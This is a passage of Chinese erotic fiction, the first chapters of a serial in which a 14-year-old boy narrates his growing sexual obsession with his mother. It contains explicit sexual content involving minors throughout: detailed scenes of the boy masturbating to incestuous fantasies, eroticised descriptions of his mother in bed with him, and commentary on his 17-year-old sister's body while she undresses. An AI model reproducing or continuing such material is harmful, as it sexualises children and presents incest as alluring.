图片载入中

青春从爱上妈妈开始 (1-7)

特大字】 【大字】 【中字】 【小字

青春从爱上妈妈开始(1-7)

第一章:惊梦

我这一生中迷恋的第一个女人是我的妈妈。

我的妈妈是一个受过比较正规的传统知识教育的女人,她的身上有一股古典的气质,她外表温婉而内心刚强。

她结婚比较早,二十岁的时候就生下了我姐姐,二十三岁生下了我。

我从小就非常的聪明,上学之后,在学校的成绩总是名列前茅,再加上我懂事又听话,所以家里的人包括姐姐都特别的疼我爱我。

我的性格属于比较开朗的那种,跟同学,亲人都相处得很好,而且喜欢户外活动,很少会有抑郁的时候,但是在我十四岁的那一年,却发生了一件特别令我苦恼的事情。

那天早上我从一场怪梦中惊醒,梦中的情景让我的内心如翻江倒海,久久无法平静。

梦中有我的妈妈,她躺在一张大床上一动不动,卷缩着柔韧而丰满的身体,睡相十分的闲静,就好像婴儿一般的可爱。而我就坐在她的旁边。梦中的我处于极度兴奋的状态,情不自禁地去掀妈妈宽松的睡袍,当时我根本无法抗拒妈妈那成熟的身体对我的吸引力。即使梦醒之后回想起当时的情景我依然感到无比的美妙。

梦中的我就像着了魔似的想去侵犯我的妈妈,剥去她所有的衣物,然后肆意地蹂躏她的身体,但是当我就要看到我妈妈赤裸的美乳的时候,却满头大汗地从梦中惊醒。

醒来之后那种兴奋的感觉还未散去,一种强烈的罪恶感就已经袭上我的内心。

我当时感觉到整个人的灵魂好像被抽离了出去似的,突然发现自己的一只手正抓住自己下身硬硬的生殖器,同时还沾满了粘稠的精液,当即让我有种仿佛天塌下来的感觉,好一会儿才稍微地镇定下来,撕了纸巾把精液清理干净。

此时天才微微发亮,我浑身无力的躺在床上,就好像刚刚经历了一场生死大战。

而事实上心理上的生死大战已经在我的心中激烈地开展了。

生理上的快感与道德上的罪恶感就好像是魔鬼和天使,它们同时进驻了我的心灵,以我的心灵作为战场正斗得天翻地覆。

也不知道过了多久,我听见敲门声响起。

“阿杰,怎么了,这么晚了都还不起床?”

是妈妈的声音,我顿时吓了一跳,赶紧大被蒙头,装作还在熟睡的样子。

妈妈见我没有回应,便自己开门进来,她坐到我的床边,关切地道,“啊杰,你醒了么?”

“嗯……”我干脆自己掀开被子,装作好困似的,一边伸懒腰一边打了个哈欠,“妈妈,我还没有睡醒呢,被你吵醒的。”我有点底气不足地道。

妈妈显然是不太相信,她伸手摸我的额头,而我趁机瞥了一眼妈妈丰满的胸部,只见那两团乳房随着妈妈的唿吸起起伏伏,我顿时间心都快要跳了出来,既感到害怕又感到愉悦。内心很矛盾。

我以前很少留意妈妈这个性感的部位,现在才知道妈妈的这对美乳是多么的吸引我,但同时强烈的罪恶感袭上心头,使得我如泰山压顶。

我的天哪!我这是怎么了?她是我的亲妈妈啊,我怎么可以对她有非分之想呢?

我的心如同一头刚刚被关进了笼子的野兽一般冲撞起来。

那梦境中妈妈如同可爱的婴儿一般躺着在我面前的情景,和此时近在眼前的丰满胸脯,就好像结成了一个巨大的黑洞,正在吞噬着我的灵魂。使我被卷在旋涡之中难以自拔。

我做贼似的收回了视线,妈妈并没有发现我的异常,同时她也没有从我的额头上探测到我的身体有什么问题,她疑惑地皱起了柳眉,责备地道:“现在都七点半了,你怎么还在懒睡?”

妈妈从小就对我要求非常的严格,每天必须六点半就要准时起床,无论要不要上学都是一样的。今天刚好是周末,并不用去上学,但妈妈还是要求我六点半就起床。

“妈妈,我好困,好想再多睡会儿。”也许是今天早上的变化,让我第一次产生了违逆妈妈的念头。

妈妈显然很不高兴,“那你就继续睡吧,早餐你也别吃了。”

说完她头也不回地就离开,我偷偷地以欣赏一个女人的眼光,看着她美丽的身影消失在门口处。

从此之后,我暗暗地迷恋上了我的妈妈。

妈妈离开没多久我就起床了,洗漱之后来到餐厅,我还以为妈妈刚才说的只是气话而已,但现在却发现真的没有我的早餐。

爸爸吃完早就出去了,餐桌上只有妈妈和姐姐,我的位置上空空如也。

“妈妈,弟弟的早餐呢?”姐姐奇怪地道。

“你吃你的,管那么多干什么?”妈妈看了不看我一眼就说道。

今天的妈妈明显有些不同,以前她很少会以这样的语气跟她的子女说话的。

她会保持端庄贤淑的形象,温言婉语。

而当我听到妈妈的话时心里就堵住了似的,感到委屈,于是一声不哼地就离开了餐厅,回到自己房间上网去了。

姐姐早餐都没有吃完,就来到我的房间追问缘由,“弟弟,你为什么要跟妈妈怄气?”

“谁跟她怄气了?”我委屈地道。

“还说不是呢,妈妈为什么不让你吃早餐?”

“她爱不给就不给呗,她是妈妈,我是她养的。”

最后的这句话,听着好像是赌气,其实我明明是在提醒我自己,但是又有什么用呢?此时我的内心早已经被早上那个怪梦淹没了,再加上刚才跟妈妈的不愉快,使得我对妈妈的态度脱离了以往的轨迹。终于我心里的那些邪念稍稍地占据了上风。

“你怎么能这样说话?”姐姐不高兴地道。

“我这样说不对吗?”我针锋相对地道。

“当然不对!她是妈妈,你要尊重她,你这是怎么了?以前你可不是这样子的,到底发生了什么事?”

“什么事都没有发生。”我有点做贼心虚地道。

就在这个时候,妈妈推门进来,她换了一身洁白的连衣裙,穿上了肉色丝袜末,非常的性感,顿时让我看得心里一跳,唿吸都有点儿急促起来。

以前妈妈也有穿得性感的时候,但我却从未有过现在这样的反应。

“蓉蓉,你别管他,快去换身衣服,我们出去走走。”妈妈说完之后看也不看我一眼,就转身离开了。

姐姐回过头来,白了我一眼,没好气地道,“妈妈今天心情很不好,你却还要跟她怄气。”

我有点奇怪地道,“怎么会心情不好?”

姐姐凑近我的耳边,悄悄地说道:“因为爸爸今天又出差了呗。”

“爸爸经常出差啊?”我不以为然地道。

姐姐皱了皱眉,在我的头上轻轻敲了一记,道,“这里面有隐情的,但这毕竟是大人的事情,我们管不着,但是姐姐今天要你先表个态。”

姐姐突然神情变得很严肃起来,这让我预感到有些不妙。

“表什么态?”

姐姐眼睛盯着我道:“如果爸爸和妈妈离婚,你会跟谁?”

我吓了一跳,“什么?这不可能的吧,他们不是很好的吗?”

“很好?哼!还相敬如宾呢,你觉得夫妻之间相敬如宾很好吗?唉!你年纪还轻,感情的事我跟你说你也不会懂的,总之我问你,如果真的到了那一天的话,你是愿意跟妈妈还是爸爸?”

她的话无疑更加让我心乱如麻,一时之间真不知道如何回答是好。

“蓉蓉!”这时候妈妈又在叫姐姐。

姐姐忙道:“好了妈妈,我很快就来。”然后她转过头来,眼神有些冷地盯着我,“快说。”

我真的不知道该怎么说好,有些不耐烦地道,“你先去换衣服吧,我很烦,你让我静一静。”

“哼!我可把话说在前头,真要有那一天的时候,你如果要跟爸爸,那从此就没我这个姐姐!”

姐姐的语气非常的冰冷,同时透露出她内心的坚决,她还是第一次这样对我说话,使我感到有些无所适从。

姐姐和妈妈外出之后,家里只剩下我一个人。

肚子实在是饿了,于是我来到了厨房,想找点东西吃。但是同时又不想让妈妈发现,找了半天连胃口也找没了,突然就不想吃了,返回的时候,路过妈妈的房间,突然心顿了一顿,脚步也随即停了下来。

我情不自禁地把目光投向妈妈的衣柜,里面有妈妈的性感衣服,我想我可以利用这些性感衣服更轻易地幻想到我妈妈熟透了的裸体。

邪恶的念头开始在我的内心氾滥起来,我的唿吸随即变得急促。

由于家里只有我一个人,这使得我的胆子比平时壮大了无数倍,只觉得无拘无束,无所顾忌,做什么事情都行。

最终我推门进了妈妈的房间。由于我心里怀着邪念,紧张到了心都快要跳了出来。我迫不及待地打开了妈妈的衣柜,只见里面果然有妈妈的性感内衣和丝袜,这些最贴近妈妈的成熟肉体的衣物很快让我的脑海中出现了妈妈赤身裸体的形象。

我的唿吸顿时窒住。还差点呻吟出声。

接下来我的举动,完全失去了理智,我三两下子就把自己剥了个精光。

我的生殖器早已经硬到了极致,就好像一根铁棒一样,这时候我还没有看过其他人的生殖器,所以也没法确定自己的生殖器是什么水准。

我手有些发抖地把妈妈的性感衣物扯了过来,紧紧地抱在了怀里,同时幻想着把妈妈诱人的裸体拥在怀里,肆意地蹂躏,我的身体突然发起抖来,连退几步倒向妈妈的软床。

我这时候还不知道如何手淫,只知道一只手紧握着自己的阳具,突然我想把妈妈的性感衣物,我幻想中的妈妈的赤裸的身体,塞向我的下体,但是这个时候我突然又恢复了一丝理智,终究因为害怕弄脏了这些衣物以至于被妈妈发现,所以才没有这样做。但是与此同时,我突然感觉到我的阳具中有一股液体就要喷射出来,虽然我还不知道这就是精液,但却能猜到一定是脏的,我害怕弄脏妈妈的床被,因此我用我自己的衣服,用力地按压住我的下体。

我感觉到越用力按,感觉越舒服,越美妙,最后我干脆扑面倒在妈妈的床上,而下体的位置依然用我自己的衣物垫着,以免弄脏妈妈的东西。渐渐地,我开始摩擦我的下体,摩擦不到一会儿,一股浓浓的粘液就奔涌了出来。而伴随着这股浓液的是我通过内衣幻想出来的妈妈的裸体,我幻想到自己把妈妈的裸体压在身体的下面,感觉到飘飘欲仙。

而大概过了十多秒之后,这种飘飘欲仙的感觉开始变淡,取而代之的是强烈的罪恶感和自责。

“我这是怎么了?我都做了什么?她是我的妈妈啊……”

空虚!

我的心中突然极度的空虚,虽然刚刚经历了梦境以外的第一次性高潮,但是此时此刻却感觉到这所有的一切都毫无意义,反而给自己带来深深的羞耻感。

喘息了一阵之后,我仔细地清理了这一次荒唐行为所留下来的一切痕迹,把妈妈的性感衣物放回到原来的位置。我做得极为细致,因为心里真的很害怕被妈妈发觉这件事。

然后我回到了自己的房间,感觉非常的疲惫,倒在床上很快就睡了过去。

“弟弟,弟弟,弟弟……”

是姐姐轻柔的声音,这时候应该是中午,我记得我的闹钟已经响过。姐姐和妈妈早就回来了,这时候我却依然躺在床上,身上只穿了一条内裤,还不盖被子。

姐姐倒不介意看我这种装束,实际上我全身赤裸她都看过了,甚至在两年以前,她坦然地光着身体在我面前,都不是什么奇怪的事情,就算是现在,她已经十七岁,我十四岁,都接近成年了,而她在换外衣的时候都不会刻意地避开我的视线,她会坦然地让我看到她只穿胸罩和内裤的模样。

而我现在,虽然对妈妈产生了邪念,但是对姐姐却依然能够保持着以往那样的平淡。

我想也许是因为姐姐的身体还未完全发育成熟吧,我看她的那对乳房,想要长到跟我妈妈的那样丰满圆润,还需要一两年的时间。

她进来之后就帮我盖上被子,然后试图唤我起来,但是我真的很疲倦,感觉头脑昏昏沉沉的,听到她的唿唤也不想起来。

“弟弟,你哪里不舒服么?”姐姐的声音里充满了关怀。

我翻了个身,背朝上面贴床地伏着,“姐姐我心里好闷,你让我静一静好吗。”

我说的可是实话,我真的很郁闷,内心里充满了羞耻感,但是又像着了魔似的幻想着蹂躏妈妈的身体。

这时候妈妈也进来了,她仍然穿着连衣裙和性感的丝袜,我已经经不住诱惑用目光去奸淫她的裙子包裹着的妙曼肉体。

“快起来穿好衣服。”

妈妈命令式的语气顿时打破了我的幻想,使我重新意识到:“她是我的妈妈,既疼爱我又对我管教严厉的妈妈。”

“我……我不想起来!”其实并不是我不想起来,而是我的阳具早就因为我妈妈这性感的身体而硬了起来,我怎么敢现在翻过身来,让她们母女俩看见?

“弟弟!”姐姐喝斥了一声,她因为我违逆妈妈的举动而生气了。

在我姐姐的内心之中,妈妈无疑是神圣的,以前我也是这样觉得,但是无奈我现在心生邪念,想要打破妈妈神圣的外壳而玩弄她圣洁的肉体。

妈妈今天的心情确实不是很好,见儿子两次违逆她,还丝毫没有悔改的意思,想不生气都难,她板着脸道:“好,那你今天的中午饭也别想吃了。”

妈妈和姐姐离开了之后,我的阳具才渐渐地软了下来。

“又得饿一顿。”我摸着自己的肚皮,无奈地叹气。

妈妈对我和姐姐从来都是如此,最严厉的惩罚就是不准吃饭,以往爸爸在家的时候,就会对此提出反对,说这样对孩子的健康有害,但是妈妈一直坚持自己的做法,在管教孩子的事情上爸爸总是无法让妈妈屈服。甚至妈妈似乎非常反感爸爸掺和到这件事来,在她看来似乎管教孩子只能是她自己的事情,爸爸没有这个权利。

我现在的确有跟妈妈怄气的想法,但是这根本就是毫无道理的,有些无理取闹的意味,但是我难得意气用事一次,还就真的无理取闹了。

我也许是想以此来使妈妈发现我内心刚刚产生的邪念,并且要求得到某种超出道德的满足吧。但是这根本是不可能的,只是一种可怜的自我安慰罢了,可这又有什么问题呢?我现在需要的其实就是自我安慰,根本不可能有别的人来安慰我,因为我不敢让人知道我内心有这样邪恶的想法啊。

我干脆把房门反锁。姐姐想偷偷给我带点面包和饮料进来,但是敲了半天门我都没有给她开。到了晚上我依然把自己关在房间里,虽然一天都没有吃东西,但是肚子反而不怎么觉得饿。

“弟弟,吃晚饭了。”姐姐敲着门叫道。

我任凭她怎么敲门怎么叫我,都没有答声,我的内心很失落,很无奈,很恐惧……总之充斥着各种情绪,连说话的欲望都没有了。

“弟弟!你到底怎么了?”姐姐明显急了。

我想道:“妈妈应该也着急了吧。”

果然,妈妈也来叫我了,语气明显变软了许多,“阿杰你不饿么?快起来吃饭。”

我顿时感觉到一阵快意,我显然胜利了,妈妈是非常在乎我的,她不可能让我一天都不吃饭,要是把我饿坏了最心疼的反而是她。

但是我还是没有开门,我心里并不满足于此,但是令我无比苦恼的是,我根本没有办法也没有勇气让妈妈知道我的真正意图,是要得到她的身体,要与她发生性关系。我敢跟她说吗?

“妈妈。”我突然无比痛苦地叫了一声。

这下可把妈妈和姐姐都吓坏了。

“阿杰!”

“弟弟!”

两人同时惊唿出声,并且用力的敲门,她们显然是以为我在里面出了什么事情。

“阿杰你先开门让妈妈进去好吗?”

“不能开!”我坚决的道,而不能开门的原因跟之前不能起床的原因是完全一样的,都是因为我的阳具已经变成了铁棒,真是无奈啊。我现在真的很想扑到妈妈的怀抱中大哭一场。

“阿杰听话,快开门。”妈妈几乎以哀求的语气道,“早上都是妈妈不对,以后再也不会强迫你那么早起床了。”

妈妈这是在向我屈服,顿时让我感觉到一阵快感,仿佛妈妈已经臣服在我的身体下任我施为。我情不自禁地握紧了我的阴茎,它已经勃起到了极致。在生理上的快感的引导下我无师自通地开始套弄了起来。

“妈妈!”我一边大胆地叫着只隔着一道门墙的妈妈,一边快速地套弄着我的阴茎,而幻想着妈妈就在我的面前,我们赤裸相对。

“阿杰,妈妈在呢,先开门好吗?”妈妈温柔而带着哀求的声音无疑是最好的催情药,让我顿时兴奋到了极致。她根本不可能知道自己的儿子正在脑海中奸淫着她的身体。

“妈妈!”我最后叫了一声,便再也忍不住,一股浓浓的精液从我的阴茎喷射而出,一波接着一波的快感,猛烈地冲击着我的大脑。

我大口大口地喘着粗气,刚刚经历过了前所未有的高潮,可是那那该死的罪恶感和羞耻感却瞬间袭上了心头。

我无精打采地清理干净我的精液,然后想去开门的,最终却无力地躺了回去。

“阿杰快开门,你想急死妈妈呀?”妈妈声音都变得哽咽了。

最终我还是开了门,妈妈和姐姐看到我一脸的憔悴和疲惫,既疑惑又心疼。

很显然这不可能是跟妈妈怄气所造成的,一定是另有原因,但是她们想破脑袋都不可能想得到,真正的原因是因为我已经深陷对妈妈的肉欲之中。

“阿杰你有什么心事么?告诉妈妈好吗?”妈妈一脸的急色,完全没有了白天对我时的那种严厉和冷漠,这才是她的本性啊!

她温柔地抚摸着我的头发,很自然地要把我搂进她的怀里,这要是在以前,对于我们母子来说是很正常的一件事,但是现在却大不相同了,我顿时如同触电一般,猛地推开了妈妈,连续地后退直到我认为她无法搂得到我为止。

开什么玩笑啊,以现在妈妈的身体对我的诱惑力,别说是和她身体接触,就算是看到她穿着性感的衣物,如果控制不力的话我的阴茎也会马上勃起,让妈妈搂住的时候万一我的阴茎硬起来顶到了她可怎么办是好?

但是我这反常的举动显然不能被妈妈和姐姐理解,她们同时怔住了。

妈妈回过神来,非常伤心地道,“阿杰你讨厌妈妈?”

我摇头不语。

“我亲爱的妈妈,你要我如何跟你解释呢?我倒是很想光明正大地搂抱着你,触摸你的发肤,或者舒舒服服地享受着你温暖的怀抱和温柔的抚摸,但是我现在根本不能够再像从前那样纯真地享受与你的亲近了啊!除非你能够接受我对你的非分之想。”我无奈地想道。

“唉!是因为妈妈对你管教得太过严厉,你记恨妈妈了对不对?”妈妈还是维持着她的误解,她有点心灰意冷地道,“好吧,以后妈妈不会再像以前那么严厉了……”

“妈妈你真的误会了。”我说了一句,也不解释,就夺门而出,冲进了洗手间,因为我发觉被妈妈刚才抚摸了一下我的头发之后,阴茎无可避免地再次勃起。

在饭桌上我随便吃了些饭菜,便无精打采地离开了饭厅。 第二章:同眠 我深深地体会到,当对妈妈怀有非分之想的时候,那份冲破禁忌的快乐只不过是一瞬间的,就好像是一股洪流,无论它如何的汹涌澎湃,最终却也难逃破灭的命运。

当昙花一现般的快乐消散之后,汹涌而来的痛苦就会彻底地笼罩着我的内心,使得我如坠入魔道,沉沦于苦海。

我感受到了从来没有过的痛苦。自从发生那天早上的事情之后,我上课全无精神,这完全不再是以前的我。

现在我每天都无精打采,几乎成了行尸走肉,而又不愿意跟任何人交流我的内心。我知道我根本不可能让别人了解到我此时的内心所想,否则的话情况就会更加的糟糕。我不由得想像,我或许会被当成精神病患者而被强制送去隔离治疗。

其实是我想得太严重了,但是我这时候年纪毕竟还小,虽然在课堂上学过一些生理知识,知道男生到了一定年龄就会出现梦遗的情况,当时上课的时候还为此跟同学们嘻哈玩笑,完全不放在心里,可是那时候的教科书里面没有教我当梦见自己的妈妈而遗精的时候该怎么办啊?该不会让我把这件事情也去请教我的生理老师吧。这明显是不可能的事,所以我只能无知地痛苦着。

其实妈妈也早就意识到了我的不对劲,但是因为我故意逃避与她的接触和交流,所以她也只能够干看着而没有办法了解我的状况。更不会想到我所面临问题的根源所在。

这些天家里有了新的变化,妈妈突然不再去上班。姐姐告诉我说她已经辞去原来的工作。

当我听到这个消息的时候,感到非常的惊讶。我的妈妈算是半个成功女士,但这并不是说她的事业还不够成功,而只不过是她事业成功的同时,对于家庭,也是照顾得颇为周到,所以她的光辉有一半被作为家庭主妇的成功所掩盖,但其实她是一个事业有成的女士。

最终我还是通过姐姐才得知,原来妈妈是想自己出资开一家美容院。

她说,“以前妈妈是为了照顾我们才放弃了自己的事业,现在我们长大了,所以她也应该有自己的事业了呢。”

“原来妈妈是要向事业型女性转变。”我心不在焉地说了句。

姐姐道,“那是当然,妈妈过去为我们付出太多了,所以这次我们一定要支持她。”

“怎么支持?”我不以为然地道,“那是属于大人的事,你怎么老是那么喜欢多管闲事,什么事你都插手啊?要做管家婆你也还小呢,毛都没长齐,等嫁出去了你爱怎么管怎么管。”

我想也许是因为刚刚产生了恋母情结,所以我潜意识里更加希望妈妈向家庭型女性发展吧。

如我所料,我以上这番话马上招致姐姐的雷霆大怒,但我自有我的一套应对办法,就是任她怒火冲天我自淡然应对。

时光如常,悄无声息地流逝,而我手淫变得越来越频繁,且每次手淫的幻想对象都是我的亲妈妈,现在她身体的每个部位都被我意淫了不知道多少遍,而事后我总是会感到无地自容,罪恶感充斥着我的内心,再加上听姐姐说妈妈正要向事业型转变呢,因此我开始尝试改掉这个令我感到羞耻的恶习。

由于我每次手淫都会选择最佳时间和最佳场合,而结束之后,都会非常小心谨慎地清理干净现场,所以到如今为止家里还没有人知道我已经沾染上了这样的习惯。因此手淫给我的身体所造成的虚弱疲惫被妈妈误以为是因为我学习太过刻苦所造成的。

要特别交待一下的就是,我现在正在上初二第二学期的课程,过了这个夏天之后我就会升初三级,就要面临我人生中的第一次大考——中考,所以在恋母事件发生以前我就非常的勤奋刻苦,这并不需要妈妈再费心督促什么,我有这样的自觉性,而这基本上都是妈妈的功劳,她从我很小的时候就开始培养我和姐姐勤奋好学的习惯。

妈妈还没有着手开办她的美容院,或许是想让自己多休息些日子吧,但是由于我对她的故意疏远,使得她完全没有了休闲的心情,能够看得出来,她心里也是很难受的。

在我想来,想要淡化对妈妈的非分之想,主要靠的是自己的意志力,首先尝试戒掉手淫这个习惯。但是这个尝试很快就宣告失败,我发现在面对性快感的诱惑的时候,我自以为很坚定的意志力却是显得那么的不堪一击,根本就不是暗暗发下个什么毒誓,就能够戒得掉的啊。因此我便想还是先逐渐减少手淫的次数吧,一步一步地实现目的,可是当连续一个星期下来之后,除开始那两天次数确实减了下来,到后来就再也无法克制,最终又回到了原来的状态,努力全都白费。

这学期的最后几个星期,我完全处在这件事的困扰当中,到了期末考试,我精神不振地走进考场,然后再精神不振地走出考场,就这样,我以这些年以来最差的成绩,结束了我的初二学业。

终于到了暑假,妈妈知道我的成绩之后,非常的生气,联合姐姐一起对我进行审判。

“你给我老实交待!到底怎么回事?我看你前段时间学习挺努力的啊,怎么考出这样的成绩来?”妈妈怒火冲天地冲着我叫道。

我想你就算打死我,我也不会老实交待的,便心虚地道,“总会有失手的时候嘛,我是很努力啊,你们也都看到了的,可能是我智力衰退了吧,这可怪不得我,也许我该吃药,增长智力。”

“狡辩!”

“那就是狡辩吧。”

姐姐却是冷眼旁观,但我从她的表情里就能够感觉到,她似乎在猜测着什么,或许不可能猜得对,但绝对没有什么好事,她的眼睛里正放出狡黠的光芒呢。

果不其然,待妈妈把我臭骂一通后,她就突然冷不防地抛出一句,“妈妈,弟弟好像是发春了呢,他肯定是喜欢上了哪个女孩子,却没有能够追到手,是为情所困,所以才耽误了学习,成绩才会下降得这么离谱。”

“啊!”我差点跳了起来,“你怎么能这样说话?无凭无据……”

姐姐嘻嘻地笑着对妈妈道,“妈你看,被我猜中了吧?”

“阿杰!是不是这样?”妈妈显然信了大半,刚刚柔和一些的脸色又陡然变得严厉起来。

到了这关头,我想完全不理会那肯定是不行的,必须要说个合理点的理由,但是最关键的是不能让妈妈知道我在意淫她,这绝对要比因为追女孩子而耽误学习还要大罪,然而这样一来,我又不知道该如何说好,便想回避,最终不耐烦地道,“妈妈我没有喜欢什么女孩子,只不过……哎呀!要我怎么说!我不会说!这种事我真的没法跟你们说!我也烦死了!你们别再给我添麻烦!我要死了!”说着说着,连我自己都火大了,简直到了语无伦次的地步。

看到我跟发了疯似的,妈妈的态度倒是突然变软了。她温柔地抚摸着我的头道,“看来你身上确实发生了什么麻烦的事,致使耽误了学业,好吧,妈妈不再逼你,你也别太着急,事情总会解决的。”

我对妈妈的抚慰很是受用,内心跳得特别快,毫无疑问我的邪念又来了,不过这次我却不用再怕我的那根阳具勃起顶到妈妈,因为自从那天之后,我换上了特别紧身的内裤,可以很大程度让那不安分的东西就算硬了也不至于往外顶到妈妈,我想这种办法绝对不是我首创的,我只是无师自通而已。

我干脆抱着妈妈,这是我做梦都想的,我的心窝很快被妈妈那两团柔软的香乳填满了,我真想现在就把下面那根硬得跟铁似的东西套得浓精冲天,但是打死我也不敢的啊。这就是有色心没贼胆的表现。我只能紧紧抱着妈妈的身体,内心肆无忌惮地意淫着她。

“妈妈。”我情不自禁地叫道,声音中包含着一种疲惫。这时候我才真切地体会到意淫是疲惫的,意淫自己的妈妈就等于疲惫的疲惫次方。

妈妈被我这一声唤得内心全化作了柔情,化作了如春水一般的慈爱,滋润着我身体的所有部位。

这天夜晚,我很早就睡觉,并没有如往常那样睡前先手淫,很奇怪,我抱着妈妈意淫了一番之后,似乎就饱了,回到房间里再也没有性冲动。

这样很好,我想我总算可以度过一个纯洁的夜晚了吧。

但是我这个想法出来没多久,妈妈就突然来到了我的房间。

她没有穿鞋,赤着一双晶莹如玉的美足,我床前的灯亮起来时,我才发现她进来了,吓了我一跳,同时也唤醒了我内心深处的欲望。

只见她穿着一件宽松的吊带睡裙,里面没有穿内衣,从她胸前的两个突点就能够看出来了。此时她的长发是盘起来的,盘得很是讲究,也很好看,就好像古代女子盘的那种乌鬓如云的发式,尽显妇女的慵懒与娇艳。而最能使我性欲飙升的是,她穿的是低胸睡裙,让我能够看到她慑魂动魄的乳勾。那简直就是一道万丈深渊,我明明知道却还义无反顾地跳进去。

我差点连心脏都跳了出来。

妈妈突然进我的房间,想要做什么啊?

还好我还不至于脑昏到以为妈妈进来是要主动和我乱伦做爱。她绝对不会有这种心思的,目前也还没有察觉自己的儿子有这种心思。这样很好,我便有机可乘。

果然,妈妈的微笑里依然带着作为一个母亲而特有的慈祥和温情。

“睡着了么?”妈妈温柔地道,一只手轻轻地抚了一下我的额头。然后,她自然大方地上了床,拉过被子,跟我同睡一床,同盖一被。

“呃……还没有睡着。”我心虚的道。

“今晚陪妈妈睡吧,我们母子很久没有一起睡过了呢。”

我当然没有不同意的道理,我做梦都想着呢,但是想要发生点性关系,那是没有可能的,但是能够和我朝思暮想的妈妈睡在一起,还有什么不满足的呢?于是我顺势抱着妈妈,鼻子贪婪地吸着她勾魂摄魄的体香。也不怕我下面硬起来会出什么事。安全措施时时都做足的呢。

我突然想抚摸妈妈的秀发,但是却盘起来的,一时无法如愿,当时也没有细想,就脱口而出道,“妈妈我想玩你的头发……”

话一出口我脸上就烫了起来,心直悬到喉咙上去。

幸好,妈妈似乎并没有往我内心的那方面去想,她没有任何迟疑,很大方地答应了我的要求,道,“那我把它放下来吧。”然后她轻轻拿开我抱着她的手臂,坐起身来,拨下发夹,随着一头乌黑亮泽的秀发散落在妈妈的背肩,一股清幽的香气扑面而来。

然后妈妈重新睡进我的被窝里,主动地抱着我,让我的手绕到她的身后。我如愿以偿地抚摸到了妈妈的柔发。内心的性欲迅速地鼓胀。

“阿杰,为什么现在不肯对妈妈说心里话了?”妈妈轻柔地抚着我的背部道。

我不由得停止了动作,手搭在妈妈的香肩上,这才发现妈妈的眼睛充满柔情地看着我,嘴唇上露出颇为苦涩的微笑。

我一时之间竟不知道如何回答她的问题,也不敢与她炙热的目光相触。我默默地回避着。

须臾,耳边传来妈妈伤心的叹息,“是因为我和你爸爸的事吧。”

我想了想,突然觉得这倒是个合理的解释,便有了借阶下台的意思,装作被猜中了心思似的说道,“妈妈,你们……怎么回事?”

妈妈忽然直视着我的眼睛,她明明目光很柔和的,但是却让我觉得她好像看穿了我的心。

而事实上她当然不可能看得穿我的内心,我想除了我自己这个世界上没有人会有这种能力。

“阿杰,这是我们大人的事,你别想太多了好吗?你只需要知道,不管将来妈妈和你爸会怎么样,妈妈总是爱你的,还有你姐姐,你们姐弟俩,妈妈一个也不会放手,你们都是妈妈的命根啊!”

话音刚落,两行热泪便从妈妈的眼窝里涌了出来。

我心里一惊,妈妈竟然哭了,自打我生到这个世界上以来,我就没有见妈妈哭过,现在竟然哭了!

我突然不知所措,想要起床去叫姐姐,但是妈妈似乎看穿了我的心思似的,拉住我,抽泣着道,“没想到妈妈也会哭是么?妈妈为什么就不能哭呢?你这样对妈妈,妈妈很伤心啊!”

“妈妈,都是我不好,我不听话,我……以后再也不会了……”我顿时也差点涌出了眼泪,但我知道我现在不能流泪。

我想妈妈真的太在乎我了,她觉得可能会失去我,将来我不会跟她一起生活,所以才伤心到恸哭,我真不应该骗她的,我现在简直后悔死了!

“妈妈,我不会离开你的。”我表决心道。

“那你为什么要疏远妈妈?难道不是怪妈妈平时对你管得太严么?”

“绝对不是的,妈妈,我发誓,绝对不是,我也很爱妈妈呢,我更舍不得离开妈妈。”说着说着,我突然把妈妈抱进我的怀里,我绝对是出于情不自禁,难得这次真的是纯洁的,“妈妈,请相信我。”

妈妈叹了一声,似乎并不适应被我抱在怀里,便挣脱开来,道,“好了,妈妈信你,那你为什么这段时间不肯跟妈妈亲近,也不肯跟妈妈说心里话?还总是跟妈妈堵气!”

“我……”我不敢说出实情,吱唔了一阵才编了个谎,道,“是因为妈妈你太霸道了,一天二十四小时,只有睡觉那七小时是自由的,吃饭还得规定多少时间得吃完,散步也规定每天必须两次,我想我怎么也算得上半个大人了吧,我想拥有更多的自由,但是我真的不是讨厌妈妈啊,我还是很喜欢跟妈妈生活在一起,只是希望妈妈以后别再管得我那么紧。”

妈妈想了想,或许是联想到那天我们母子第一次起冲突时的情景,就是因为我无缘无故起床太晚,她不准我吃早餐,终于才开始堵气的,所以就信了我的话。

“好了,妈妈答应你,以后给你适当的自由。”

妈妈很快又恢复了严母的气势,一只手轻轻捏着我的脸,开始重新制定我的活动规则,“妈妈说的可是适当的自由哦,听清楚了吗?起床时间可以不那么早,但是也不能够超过七点半,要是觉得无聊,倒可以不去散步,但是吃饭你总不能够吃半天吧,这个是没得改的……”

等她宣布完毕,时间已经是凌辱一点了,得,明天又不能睡过七点半才起床,但是我也不想抗议,我甚至希望她继续说下去,她一边说着,我一边抱着她,随意地抚摸她的柔发,直舒服到了心里去。

等她终于说完后,我瞬时脑热,竟大胆地在她的额头上轻吻了一下,未等她反应过来,便说道,“妈妈,我爱你。”

幸好我做得很自然,所以妈妈也自然以为我的爱是纯洁的,是儿子对母亲的爱,于是露出了微笑,并且还温柔地回吻了我。

我简直好比吃了蜜似的,甜进心里,感觉妈妈吻我的地方似乎还能散发出温香。

这时候也许是太亢奋了吧,我突然做了件不安分的事情:把妈妈的秀发一带,全带到了她的胸前,满头乌亮柔顺的青丝披散在她两团丰满的乳房上面,看得我一阵心神荡漾。

幸好此举似乎仍未超出妈妈的宽容范围,所以她只是满足地微笑着,眼睛眨也不眨地看着我。

“好了别玩了,快些睡吧,明天不能超过七点半呢。”她温柔地道。

“妈妈再亲我一下我就睡。”我耍赖道。

妈妈并没有拒绝,轻凑过来,在我的脸上轻轻地吻过,然后说了声“晚安”,便熄灯,阖眼。

第三章:姐姐 自从开始意淫妈妈之后我第一次跟妈妈同睡。

这天夜里我睡得特别舒服和安稳。当夜里我梦到了妈妈,但是并没有遗精,梦里也没有发生什么特别的事情,具体的梦境醒来已经记不起来。

